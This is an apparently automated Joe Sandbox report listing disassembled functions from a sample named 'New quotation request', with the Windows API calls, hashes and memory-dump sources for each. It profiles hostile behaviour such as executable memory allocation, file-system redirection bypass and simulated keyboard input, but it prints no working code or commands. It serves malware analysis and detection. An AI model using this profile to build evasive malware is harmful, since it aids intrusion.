                                                                    • Opcode ID: ecfc182f9d98e7f330dc83b0c2229404b5103647bc74269682186d93d6bea496
                                                                    • Instruction ID: 046534c31e76e34d12f1d47f4c4034aff53d93eaafa2ddcd17ed8b7c48074357
                                                                    • Opcode Fuzzy Hash: ecfc182f9d98e7f330dc83b0c2229404b5103647bc74269682186d93d6bea496
                                                                    • Instruction Fuzzy Hash: FED01270D10713CFD7216F31D98968677D8AF05791F51C83AD997D6165E670D480C650
                                                                    Function 002B4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,002B4BD0,?,002B4DEF,?,003752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 002B4C11
                                                                    • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 002B4C23
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                    • API String ID: 2574300362-3689287502
                                                                    • Opcode ID: 621c09ba51c47320361eb6ff01510f92fd0cf456c0532c882a1b45b2df2902e2
                                                                    • Instruction ID: fedd4e178527a12498ac32fccdde5c77b6f30eb8dc4a5319df9ae6e217f7149f
                                                                    • Opcode Fuzzy Hash: 621c09ba51c47320361eb6ff01510f92fd0cf456c0532c882a1b45b2df2902e2
                                                                    • Instruction Fuzzy Hash: 40D0EC70911713CFD7216F71D988686BAD9AF09B91F51883AD886D6161E6B0D4808650
                                                                    Function 00330DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(advapi32.dll,?,00331039), ref: 00330DF5
                                                                    • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00330E07
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: RegDeleteKeyExW$advapi32.dll
                                                                    • API String ID: 2574300362-4033151799
                                                                    • Opcode ID: 183f2a249ed6797f230d5acec495e625139697d5b3fb8926e2ab6d0c1cef9924
                                                                    • Instruction ID: b89276d6d17be6b68794ca36ec9e2c479d95dfe85090dc41182b2e87be9b7051
                                                                    • Opcode Fuzzy Hash: 183f2a249ed6797f230d5acec495e625139697d5b3fb8926e2ab6d0c1cef9924
                                                                    • Instruction Fuzzy Hash: 38D0C730A00B23CFC7268F72D888383B2E8AF02342F02CC3ED582C2160E6B0D890CA40
                                                                    Function 003290E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,00000001,00328CF4,?,0033F910), ref: 003290EE
                                                                    • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00329100
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: GetModuleHandleExW$kernel32.dll
                                                                    • API String ID: 2574300362-199464113
                                                                    • Opcode ID: 6dca49fbb01d9e1f973e87e1f522635ba781e58d19bf320911b0883f95941ec4
                                                                    • Instruction ID: 7ab9fa631fadc12498da9d2c4ffa4acb2dbfd548c08eb5baba511b6a3cc984be
                                                                    • Opcode Fuzzy Hash: 6dca49fbb01d9e1f973e87e1f522635ba781e58d19bf320911b0883f95941ec4
                                                                    • Instruction Fuzzy Hash: E6D01774D50723CFDB229F32E898646B6E8AF15351F53C83AD886D65A4EA70D880CA90
                                                                    Function 002F1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LocalTime__swprintf
                                                                    • String ID: %.3d$WIN_XPe
                                                                    • API String ID: 2070861257-2409531811
                                                                    • Opcode ID: c8a3c51dd080324c037f5c44e54ebbef2d668e2684bac7f260c6bea1750e08c6
                                                                    • Instruction ID: 0e81d9964d42ce5093635c289a8df4aea5dd8ddabf86a6e3783abd5557055e14
                                                                    • Opcode Fuzzy Hash: c8a3c51dd080324c037f5c44e54ebbef2d668e2684bac7f260c6bea1750e08c6
                                                                    • Instruction Fuzzy Hash: B1D01271C3410CEAC705A7919989CF9F37CAB19391FA00472F60AD2040E3B29B74DA21
                                                                    Function 0030717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 2a761b91e7726c5a93b929b05180a17ff3bc0ffa7182655dfe7f3883b7dcbf8c
                                                                    • Instruction ID: 56142b598f2fb5a1ff28e77a0ef87b56fab18c51c50d683807f938cf2b36bffd
                                                                    • Opcode Fuzzy Hash: 2a761b91e7726c5a93b929b05180a17ff3bc0ffa7182655dfe7f3883b7dcbf8c
                                                                    • Instruction Fuzzy Hash: 1DC19F74E05216EFDB15CFA5C894EAEBBB9FF48300B158598E805EB291D730ED81DB90
                                                                    Function 0032E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharLowerBuffW.USER32(?,?), ref: 0032E0BE
                                                                    • CharLowerBuffW.USER32(?,?), ref: 0032E101
                                                                      • Part of subcall function 0032D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0032D7C5
                                                                    • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0032E301
                                                                    • _memmove.LIBCMT ref: 0032E314
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharLower$AllocVirtual_memmove
                                                                    • String ID:
                                                                    • API String ID: 3659485706-0
                                                                    • Opcode ID: 8f5483d65f5d3593e12e9fd0e06e7c537b0e824620a3cba2840a23e11bde292f
                                                                    • Instruction ID: 085f78a09dd75fe3cc5247ee3cd13424988296796d9f12428d55d92d80b5e7c4
                                                                    • Opcode Fuzzy Hash: 8f5483d65f5d3593e12e9fd0e06e7c537b0e824620a3cba2840a23e11bde292f
                                                                    • Instruction Fuzzy Hash: 5FC156716083119FC705DF28C481A6ABBE4FF89354F14896EF89A9B351D730E946CF82
                                                                    Function 00328093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CoInitialize.OLE32(00000000), ref: 003280C3
                                                                    • CoUninitialize.OLE32 ref: 003280CE
                                                                      • Part of subcall function 0030D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0030D5D4
                                                                    • VariantInit.OLEAUT32(?), ref: 003280D9
                                                                    • VariantClear.OLEAUT32(?), ref: 003283AA
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                                    • String ID:
                                                                    • API String ID: 780911581-0
                                                                    • Opcode ID: 888c124891a792daae980e0f32ae37ff3049af816df077fc1c2f68552b918fbe
                                                                    • Instruction ID: f483bc2cb85b2f4a60001c871e9ce1e4aa4cef1fcc6865f78493a2d970e5dec5
                                                                    • Opcode Fuzzy Hash: 888c124891a792daae980e0f32ae37ff3049af816df077fc1c2f68552b918fbe
                                                                    • Instruction Fuzzy Hash: 2DA168396147119FCB01DF24D881B6AB7E4BF89354F048808FA9A9B3A1CB30EC54CF82
                                                                    Function 0030687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$AllocClearCopyInitString
                                                                    • String ID:
                                                                    • API String ID: 2808897238-0
                                                                    • Opcode ID: 62eea30efb8ee69c3ee9b5f38a31fe37d4d052f43773a56d62b0ef838bbacacb
                                                                    • Instruction ID: 4dba1b980f1c2ac3e26294f2057879da8bdf34b02c205af198393fe424fd5d0a
                                                                    • Opcode Fuzzy Hash: 62eea30efb8ee69c3ee9b5f38a31fe37d4d052f43773a56d62b0ef838bbacacb
                                                                    • Instruction Fuzzy Hash: 9651C2B47113019EDB25AF65D8B2B6AB3E9AF45310F20D81FE596DB6D5DB30D8A08B00
                                                                    Function 003397F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowRect.USER32(0159E630,?), ref: 00339863
                                                                    • ScreenToClient.USER32(00000002,00000002), ref: 00339896
                                                                    • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00339903
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ClientMoveRectScreen
                                                                    • String ID:
                                                                    • API String ID: 3880355969-0
                                                                    • Opcode ID: 5cf82ff4376a80e64ffb9629c407534a151d33a639f156e4c45a3564c5ae8c89
                                                                    • Instruction ID: b956fe3d02d9c29b1ca1ffe15a26f3da66a07969ac4258ee44d00ff97efe0822
                                                                    • Opcode Fuzzy Hash: 5cf82ff4376a80e64ffb9629c407534a151d33a639f156e4c45a3564c5ae8c89
                                                                    • Instruction Fuzzy Hash: 03514E34A00209EFDB26CF14C8C0BAE7BB5FF85360F15825AF8559B2A0D770AD81CB90
                                                                    Function 00309A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00309AD2
                                                                    • __itow.LIBCMT ref: 00309B03
                                                                      • Part of subcall function 00309D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00309DBE
                                                                    • SendMessageW.USER32(?,0000110A,00000001,?), ref: 00309B6C
                                                                    • __itow.LIBCMT ref: 00309BC3
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$__itow
                                                                    • String ID:
                                                                    • API String ID: 3379773720-0
                                                                    • Opcode ID: f756e56373c3c854c793c3657e62b0c4e36d33973902fd989261e25bf50fb88e
                                                                    • Instruction ID: e471bcce38326c26469ff779afd580af0b4d57178d7244befd6f7c7707510ef7
                                                                    • Opcode Fuzzy Hash: f756e56373c3c854c793c3657e62b0c4e36d33973902fd989261e25bf50fb88e
                                                                    • Instruction Fuzzy Hash: 6C417270A00208ABDF16EF54D855BEE7BB9EF44764F00005AF905A7292DB709954CBA1
                                                                    Function 003269AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • socket.WSOCK32(00000002,00000002,00000011), ref: 003269D1
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 003269E1
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00326A45
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 00326A51
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLast$__itow__swprintfsocket
                                                                    • String ID:
                                                                    • API String ID: 2214342067-0
                                                                    • Opcode ID: b5be7d98d1f612ed5c0271f7e6173c642b926483065d0e6b3c7a879390748493
                                                                    • Instruction ID: e1fd78c9f14fce020713eda3110e0fa329094593ad3b4d4ccabf84b7297b2cb3
                                                                    • Opcode Fuzzy Hash: b5be7d98d1f612ed5c0271f7e6173c642b926483065d0e6b3c7a879390748493
                                                                    • Instruction Fuzzy Hash: BD41C174700200AFEB25AF24DC87F7A77A8AF05B54F44C418FA19AF2D2DA709D50CB91
                                                                    Function 0032641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0033F910), ref: 003264A7
                                                                    • _strlen.LIBCMT ref: 003264D9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _strlen
                                                                    • String ID:
                                                                    • API String ID: 4218353326-0
                                                                    • Opcode ID: 3572dcc83669455dfba112ee5449c2bd796237c7a9ab7142a77870f58c89c444
                                                                    • Instruction ID: dc6b3938dc1be3ec6179b3d51f0cef34cf927df6fa4efc7da963f81c57d19ce9
                                                                    • Opcode Fuzzy Hash: 3572dcc83669455dfba112ee5449c2bd796237c7a9ab7142a77870f58c89c444
                                                                    • Instruction Fuzzy Hash: CE41A431A04114AFCB15FBA8ECD6FEEB7B9AF05310F148155F91A9B292DB30AD50CB50
                                                                    Function 0031B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0031B89E
                                                                    • GetLastError.KERNEL32(?,00000000), ref: 0031B8C4
                                                                    • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0031B8E9
                                                                    • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0031B915
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateHardLink$DeleteErrorFileLast
                                                                    • String ID:
                                                                    • API String ID: 3321077145-0
                                                                    • Opcode ID: 27e425ffae12ba6003dceb149a8aaf35b7155fe15ec37b7a2a2e06df045b4d76
                                                                    • Instruction ID: a6ee2a7d814a0478b02469ab1ca3c3ab30874f5dfee1a656307224ef59152030
                                                                    • Opcode Fuzzy Hash: 27e425ffae12ba6003dceb149a8aaf35b7155fe15ec37b7a2a2e06df045b4d76
                                                                    • Instruction Fuzzy Hash: FE410639A00650DFCB15EF15C484A99BBF5AF4A750F09C098ED4A9B362CB30FD91CB91
                                                                    Function 00338851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 003388DE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: InvalidateRect
                                                                    • String ID:
                                                                    • API String ID: 634782764-0
                                                                    • Opcode ID: db5be1553c5c5e4169eaaa2129fec200e365b9bfe146846af667c89ea74a329c
                                                                    • Instruction ID: bc2d6e6d1e1a6e9da74be89f95888392a642dd42e9a1a16b506b2d82caff37d3
                                                                    • Opcode Fuzzy Hash: db5be1553c5c5e4169eaaa2129fec200e365b9bfe146846af667c89ea74a329c
                                                                    • Instruction Fuzzy Hash: 7531F234600308BFEB279F28CCC5FB877A8EB09310FA54512FA15EA1A1CF71E9409B52
                                                                    Function 0033AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ClientToScreen.USER32(?,?), ref: 0033AB60
                                                                    • GetWindowRect.USER32(?,?), ref: 0033ABD6
                                                                    • PtInRect.USER32(?,?,0033C014), ref: 0033ABE6
                                                                    • MessageBeep.USER32(00000000), ref: 0033AC57
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Rect$BeepClientMessageScreenWindow
                                                                    • String ID:
                                                                    • API String ID: 1352109105-0
                                                                    • Opcode ID: 980b07ea29153262290195a49a836e015ea2d5f124eb6b0e7a066a68aa7a95a0
                                                                    • Instruction ID: db27d1b3cb34172f5020e03980a9c201f147ed7e094c60c93606c15c44dd1067
                                                                    • Opcode Fuzzy Hash: 980b07ea29153262290195a49a836e015ea2d5f124eb6b0e7a066a68aa7a95a0
                                                                    • Instruction Fuzzy Hash: EA416F30A00919EFCF27DF58D8C4A59BBF9FB49310F1991A9E499DB261D730A841CB92
                                                                    Function 00310AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00310B27
                                                                    • SetKeyboardState.USER32(00000080,?,00000001), ref: 00310B43
                                                                    • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00310BA9
                                                                    • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00310BFB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: KeyboardState$InputMessagePostSend
                                                                    • String ID:
                                                                    • API String ID: 432972143-0
                                                                    • Opcode ID: 1aba60d6bdb5285eacce567192cd598dfb2378cdc81c1184ff5b1ae0ad603ec9
                                                                    • Instruction ID: 7796fa4ebee8d6f322f851b8bb94b172bb74735c2217c94af7f3bf20cbb62e05
